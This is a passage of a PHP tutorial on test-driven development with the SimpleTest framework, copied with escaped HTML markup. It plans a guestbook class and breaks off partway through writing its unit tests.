Since the dawn of the computer era, programmers and bugs have battled for supremacy. It’s an inevitable occurrence. Even the greatest programmers fall prey to these anomalies. No code is safe. That’s why we do testing. Programmers, at least sane ones, test their code by running it on development machines to make sure it does what it’s supposed to.&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/saneprogrammer.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/saneprogrammer.jpg&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;
&lt;small&gt;Sane programmer who tests his programs.&lt;/small&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://www.youthedesigner.com/2009/09/29/18-ways-to-create-a-relaxing-home-office-experience&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;www.youthedesigner.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://www.youthedesigner.com&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/insaneprogrammer.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/insaneprogrammer.jpg&quot; width=&quot;200&quot; /&gt;&lt;br /&gt;
&lt;small&gt;Insane programmer who doesn’t test his programs.&lt;/small&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://www.internetannoyanceday.com/2009/just-aim-for-the-big-toe/&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;www.internetannoyanceday.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://www.internetannoyanceday.com&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;b&gt;Test-driven development&lt;/b&gt; is a programming technique that requires you to write actual code and automated test code simultaneously. This ensures that you test your code—and enables you to retest your code quickly and easily, since it’s automated.&lt;/blockquote&gt;
&lt;h3&gt;
 How does it work?&lt;/h3&gt;
Test-driven development, or TDD as we’ll call it from now on, revolves around a short iterative development cycle that goes something like this:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Before writing any code, you must first write an automated test for your code. While writing the automated tests, you must take into account all possible inputs, errors, and outputs. This way, your mind is not clouded by any code that’s already been written.&lt;/li&gt;
&lt;li&gt;The first time you run your automated test, the test should fail—indicating that the code is not yet ready.&lt;/li&gt;
&lt;li&gt;Afterward, you can begin programming. Since there’s already an automated test, as long as the code fails it, it means that it’s still not ready. The code can be fixed until it passes all assertions.&lt;/li&gt;
&lt;li&gt;Once the code passes the test, you can then begin cleaning it up, via refactoring. As long as the code still passes the test, it means that it still works. You no longer have to worry about changes that introduce new bugs.&lt;/li&gt;
&lt;li&gt;Start the whole thing over again with some other method or program.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/tddcycle.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/tddcycle.jpg&quot; style=&quot;display: inline;&quot; /&gt;&lt;br /&gt;
&lt;small&gt;The test-driven development cycle&lt;/small&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Test-driven_development&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;en.wikipedia.org&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://en.wikipedia.org/wiki/Test-driven_development &lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
&lt;h3&gt;
Great, but how is this better than regular testing?&lt;/h3&gt;
Have you ever purposefully skipped testing a program because:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;You felt it was a waste of time to test, since it was only a slight code change?&lt;/li&gt;
&lt;li&gt;You felt lazy testing everything again?&lt;/li&gt;
&lt;li&gt;You didn’t have enough time to test because the project manager wanted it moved up to production ASAP?&lt;/li&gt;
&lt;li&gt;You told yourself you’d do it “tomorrow”?&lt;/li&gt;
&lt;li&gt;You had to choose between manual testing, or watching the latest episode of your favorite TV show (Big Bang Theory)?&lt;/li&gt;
&lt;/ul&gt;
Most of the time, nothing happens, and you successfully move your code to production without any problems. But sometimes, after you’ve moved to production, everything goes wrong. You’re stuck fixing a hundred holes in a sinking ship, with more appearing every minute. You do &lt;b&gt;not&lt;/b&gt; want to find yourself in this situation.&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/aftermath.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/aftermath.jpg&quot; style=&quot;display: inline;&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;
&lt;small&gt;Screw it, just move it to production!&lt;/small&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://phenomenaonbreak.wordpress.com/2009/06/30/whats-the-worst-that-could-happen&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;phenomenaonbreak.wordpress.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://phenomenaonbreak.wordpress.com&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
TDD was meant to eliminate our excuses. When a program has been developed using TDD, it allows us to make changes and test quickly and efficiently. All we need to do is run the automated tests, and voila! If it passes all automated tests, then we’re good to go—if not, then it just means we broke something with the changes. By knowing which exact parts of the test failed, it also allows us to easily pinpoint at which part of the changes it broke, so it makes fixing the bugs easier.&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
I’m Sold. How Do We Do This?&lt;/h2&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/phpunit.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/phpunit.jpg&quot; style=&quot;display: inline;&quot; /&gt;&lt;/div&gt;
There’s a multitude of PHP automated testing frameworks out there we can use. One of the most widely-used testing frameworks is &lt;a href=&quot;http://phpunit.de/&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;phpunit.de&#39;]);&quot; target=&quot;_blank&quot;&gt;PHPUnit&lt;/a&gt;.&lt;br /&gt;
&lt;blockquote&gt;
PHPUnit is a great testing framework, which can easily be integrated into your own projects, or other projects built on top of popular PHP frameworks.&lt;/blockquote&gt;
For our purposes though, we won’t need the multitude of functions that PHPUnit offers. Instead, we’ll opt to create our tests using a much easier testing framework, called &lt;a href=&quot;http://www.simpletest.org/&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;www.simpletest.org&#39;]);&quot; target=&quot;_blank&quot;&gt;SimpleTest&lt;/a&gt;.&lt;br /&gt;
In the next steps, let’s assume that we’re developing a guestbook application where any user can add and view guestbook entries. Let’s assume that the markup has been completed, and that we’re simply making a class which contains the &lt;b&gt;application logic&lt;/b&gt; of the guestbook, which is where the application inserts and reads to the database. The reading portion of this class is what we’re going to develop and test.&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 1. Set up SimpleTest&lt;/h2&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/simpletest.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/simpletest.jpg&quot; style=&quot;display: inline;&quot; /&gt;&lt;/div&gt;
This is arguably the easiest step of all. Even this guy could do it:&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/patrick.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/patrick.jpg&quot; style=&quot;display: inline;&quot; width=&quot;150&quot; /&gt; &lt;br /&gt;
&lt;small&gt;I can do this…I can use, my, um…brain!&lt;/small&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://longstreet.typepad.com/thesciencebookstore/2008/11/blank-and-empty-history-patrick-starfish-the-sopranos-kasimir-malevich-and-disappeared-madonnas.html&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;longstreet.typepad.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://longstreet.typepad.com/&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
Download SimpleTest &lt;a href=&quot;http://www.simpletest.org/en/download.html&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;www.simpletest.org&#39;]);&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;, and extract to a folder of your choice — preferably the folder where you’re going to develop your code, or your PHP include_path for easy access.&lt;br /&gt;
For this tutorial, I’ve set up the folder like so:&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/structure1.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/structure1.jpg&quot; style=&quot;display: inline;&quot; /&gt;&lt;/div&gt;
Index.php will run guestbook.php, and invoke the view method and display the entries. Inside the classes folder is where we’ll put the guestbook.php class, and the test folder is where we place the simpletest library.&lt;br /&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 2. Plan Your Attack&lt;/h2&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/planning.JPG&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/planning.JPG&quot; style=&quot;display: inline;&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://connections.smsd.org/veterans/photos.htm&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;connections.smsd.org&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://connections.smsd.org/veterans&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
The second step, which is actually the most important one, is to start creating your tests. For this, you really need to plan and think about what your function will do, what possible inputs it will get, and the corresponding outputs it will send. This step resembles playing a game of chess—you need to know everything about your opponent (the program), including all his weaknesses (possible errors) and strengths (what happens if it successfully runs).&lt;br /&gt;
So for our guestbook application, let’s lay down the schematics:&lt;br /&gt;
&lt;h3&gt;
View&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This function will not have any inputs since it will just retrieve all of the entries from the database and send back the data to be printed out.&lt;/li&gt;
&lt;li&gt;It will return an array of guestbook records, stating the name of the poster and his message. If there are no records, then it should still return an empty array.&lt;/li&gt;
&lt;li&gt;If there are records, the array will have 1 or more values in it.&lt;/li&gt;
&lt;li&gt;At the same time, the array will have a specific structure, something like:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;Array&amp;nbsp;(&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[0]&amp;nbsp;=&amp;gt;&amp;nbsp;Array&amp;nbsp;(&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&lt;span class=&quot;string&quot;&gt;&#39;name&#39;&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;Bob&quot;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&lt;span class=&quot;string&quot;&gt;&#39;message&#39;&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;Hi,&amp;nbsp;I&#39;m&amp;nbsp;Bob.&quot;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[1]&amp;nbsp;=&amp;gt;&amp;nbsp;Array&amp;nbsp;(&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&#39;name&lt;span class=&quot;string&quot;&gt;&#39;]&amp;nbsp;=&amp;nbsp;&quot;Tom&quot;&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;string&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&#39;&lt;/span&gt;message&lt;span class=&quot;string&quot;&gt;&#39;]&amp;nbsp;=&amp;nbsp;&quot;Hi,&amp;nbsp;I&#39;&lt;/span&gt;m&amp;nbsp;Tom.&quot;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;)&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;php&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;Array (
    [0] =&amp;gt; Array (
        [&#39;name&#39;] = &quot;Bob&quot;
        [&#39;message&#39;] = &quot;Hi, I&#39;m Bob.&quot;
    )
    [1] =&amp;gt; Array (
        [&#39;name&#39;] = &quot;Tom&quot;
        [&#39;message&#39;] = &quot;Hi, I&#39;m Tom.&quot;
    )
)
&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 3. Write a Test!&lt;/h2&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img border=&quot;0&quot; original=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/popquiz.jpg&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/767_testDrivenDev/images/popquiz.jpg&quot; style=&quot;display: inline;&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;
&lt;small&gt;&lt;a href=&quot;http://cflhomeless.wordpress.com/2009/06/12/coalition-pop-quiz-homeless-facts/&quot; onclick=&quot;javascript:_gaq.push([&#39;_trackEvent&#39;,&#39;outbound-article&#39;,&#39;cflhomeless.wordpress.com&#39;]);&quot; target=&quot;_blank&quot;&gt;Image courtesy of http://cflhomeless.wordpress.com&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;
Now, we can write our first test. Let’s start by creating a file called &lt;b&gt;guestbook_test.php&lt;/b&gt; inside the test folder.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;require_once&lt;/span&gt;(dirname(&lt;span class=&quot;keyword&quot;&gt;__FILE__&lt;/span&gt;)&amp;nbsp;.&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;/simpletest/autorun.php&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;require_once&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;../classes/guestbook.php&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&amp;nbsp;TestGuestbook&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;extends&lt;/span&gt;&amp;nbsp;UnitTestCase&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;pre class=&quot;php&quot; name=&quot;code&quot; style=&quot;display: none;&quot;&gt;&amp;lt;?php
require_once(dirname(__FILE__) . &#39;/simpletest/autorun.php&#39;);
require_once(&#39;../classes/guestbook.php&#39;);
class TestGuestbook extends UnitTestCase {
}
&lt;/pre&gt;
Then, let’s convert what we’ve determined from step two,.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;ViewSource&#39;,this);return false;&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;CopyToClipboard&#39;,this);return false;&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;PrintSource&#39;,this);return false;&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=3138548880507154050#&quot; onclick=&quot;dp.sh.Toolbar.Command(&#39;About&#39;,this);return false;&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;require_once&lt;/span&gt;(dirname(&lt;span class=&quot;keyword&quot;&gt;__FILE__&lt;/span&gt;)&amp;nbsp;.&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;/simpletest/autorun.php&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;require_once&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;../classes/guestbook.php&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;class&lt;/span&gt;&amp;nbsp;TestGuestbook&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;extends&lt;/span&gt;&amp;nbsp;UnitTestCase&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;testViewGuestbookWithEntries()&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$guestbook&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;new&lt;/span&gt;&amp;nbsp;Guestbook();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Add&amp;nbsp;new&amp;nbsp;records&amp;nbsp;first&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$guestbook&lt;/span&gt;-&amp;gt;add(&lt;span class=&quot;string&quot;&gt;&quot;Bob&quot;&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;Hi,&amp;nbsp;I&#39;m&amp;nbsp;Bob.&quot;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$guestbook&lt;/span&gt;-&amp;gt;add(&lt;span class=&quot;string&quot;&gt;&quot;Tom&quot;&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&quot;Hi,&amp;nbsp;I&#39;m&amp;nbsp;Tom.&quot;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$entries&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$guestbook&lt;/span&gt;-&amp;gt;viewAll();&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$count_is_greater_than_zero&lt;/span&gt;&amp;nbsp;=&amp;nbsp;(&lt;span class=&quot;func&quot;&gt;count&lt;/span&gt;(&lt;span class=&quot;vars&quot;&gt;$entries&lt;/span&gt;)&amp;nbsp;&amp;gt;&amp;nbsp;0);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$this&lt;/span&gt;-&amp;gt;assertTrue(&lt;span class=&quot;vars&quot;&gt;$count_is_greater_than_zero&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$this&lt;/span&gt;-&amp;gt;assertIsA(&lt;span class=&quot;vars&quot;&gt;$entries&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;array&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;foreach&lt;/span&gt;(&lt;span class=&quot;vars&quot;&gt;$entries&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;as&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$entry&lt;/span&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$this&lt;/span&gt;-&amp;gt;assertIsA(&lt;span class=&quot;vars&quot;&gt;$entry&lt;/span&gt;,&amp;nbsp;&lt;span class=&quot;string&quot;&gt;&#39;array&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$this&lt;/span&gt;-&amp;gt;assertTrue(isset(&lt;span class=&quot;vars&quot;&gt;$entry&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;&#39;name&#39;&lt;/span&gt;]));&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;vars&quot;&gt;$this&lt;/span&gt;-&amp;gt;assertTrue(isset(&lt;span class=&quot;vars&quot;&gt;$entry&lt;/span&gt;[&lt;span class=&quot;string&quot;&gt;&#39;message&#39;&lt;/span&gt;]));&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&amp;nbsp;testViewGuestbookWithNoEntries()&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
